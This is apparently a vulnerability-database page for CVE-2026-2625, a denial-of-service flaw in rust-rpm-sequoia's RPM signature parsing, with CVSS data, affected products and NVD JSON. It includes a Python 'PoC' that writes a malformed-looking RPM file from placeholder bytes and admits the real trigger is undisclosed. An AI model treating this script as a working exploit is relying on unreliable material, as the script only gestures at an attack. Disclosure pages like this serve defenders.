Security Vulnerability Report
中文
CVE-2026-2625 CVSS 4.0 MEDIUM

CVE-2026-2625

Published: 2026-04-03 19:17:22
Last Modified: 2026-05-01 21:00:32

Description

A flaw was found in rust-rpm-sequoia. An attacker can exploit this vulnerability by providing a specially crafted Red Hat Package Manager (RPM) file. During the RPM signature verification process, this crafted file can trigger an error in the OpenPGP signature parsing code, leading to an unconditional termination of the rpm process. This issue results in an application level denial of service, making the system unable to process RPM files for signature verification.

CVSS Details

CVSS Score
4.0
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:redhat:hardened_images:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:sequoia-pgp:rpm-sequoia:-:*:*:*:*:rust:*:* - VULNERABLE
cpe:2.3:o:redhat:enterprise_linux:9.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:redhat:enterprise_linux:10.0:*:*:*:*:*:*:* - VULNERABLE
rust-rpm-sequoia (具体受影响版本请参考 Red Hat 安全公告 RHSA-2026:12682)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # This is a conceptual PoC for CVE-2026-2625. # Since the specific malformed bytes are not disclosed, this script demonstrates # how one might attempt to trigger the parsing error by crafting a malformed RPM header. import struct def create_malformed_rpm(filename): with open(filename, 'wb') as f: # RPM Lead (96 bytes) # Magic: 0xed 0xab 0xee 0xdb f.write(b'\xed\xab\xee\xdb') f.write(b'\x00' * 92) # Padding for the rest of the lead # Signature Header (Simplified) # In a real exploit, specific OpenPGP packet structures would be crafted # to trigger the parsing bug in rust-rpm-sequoia. f.write(b'\x8e\xad\xe8\x01') # Magic f.write(b'\x00' * 100) # Placeholder for malformed signature data print(f"[+] Created potentially malformed RPM file: {filename}") print("[!] Attempting to verify signature might trigger the DoS.") if __name__ == "__main__": create_malformed_rpm("exploit_CVE-2026-2625.rpm")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-2625", "sourceIdentifier": "[email protected]", "published": "2026-04-03T19:17:22.340", "lastModified": "2026-05-01T21:00:31.563", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in rust-rpm-sequoia. An attacker can exploit this vulnerability by providing a specially crafted Red Hat Package Manager (RPM) file. During the RPM signature verification process, this crafted file can trigger an error in the OpenPGP signature parsing code, leading to an unconditional termination of the rpm process. This issue results in an application level denial of service, making the system unable to process RPM files for signature verification."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 4.0, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.5, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-347"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:redhat:hardened_images:-:*:*:*:*:*:*:*", "matchCriteriaId": "87DEB507-5B64-47D7-9A50-3B87FD1E571F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:sequoia-pgp:rpm-sequoia:-:*:*:*:*:rust:*:*", "matchCriteriaId": "278945D7-C832-45A1-90E0-5509A38A3A80"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:9.0:*:*:*:*:*:*:*", "matchCriteriaId": "7F6FB57C-2BC7-487C-96DD-132683AEB35D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:10.0:*:*:*:*:*:*:*", "matchCriteriaId": "D65C2163-CFC2-4ABB-8F4E-CB09CEBD006C"}]}]}], "references": [{"url": "https://access.redhat.com/errata/RHSA-2026:12682", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://access.redhat.com/security/cve/CVE-2026-2625", "source": "[email protected]", "tags": ["Mitigation", "Third Party Advisory"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2440357", "source": "[email protected]", "tags": ["Issue Tracking", "Third Party Advisory"]}]}}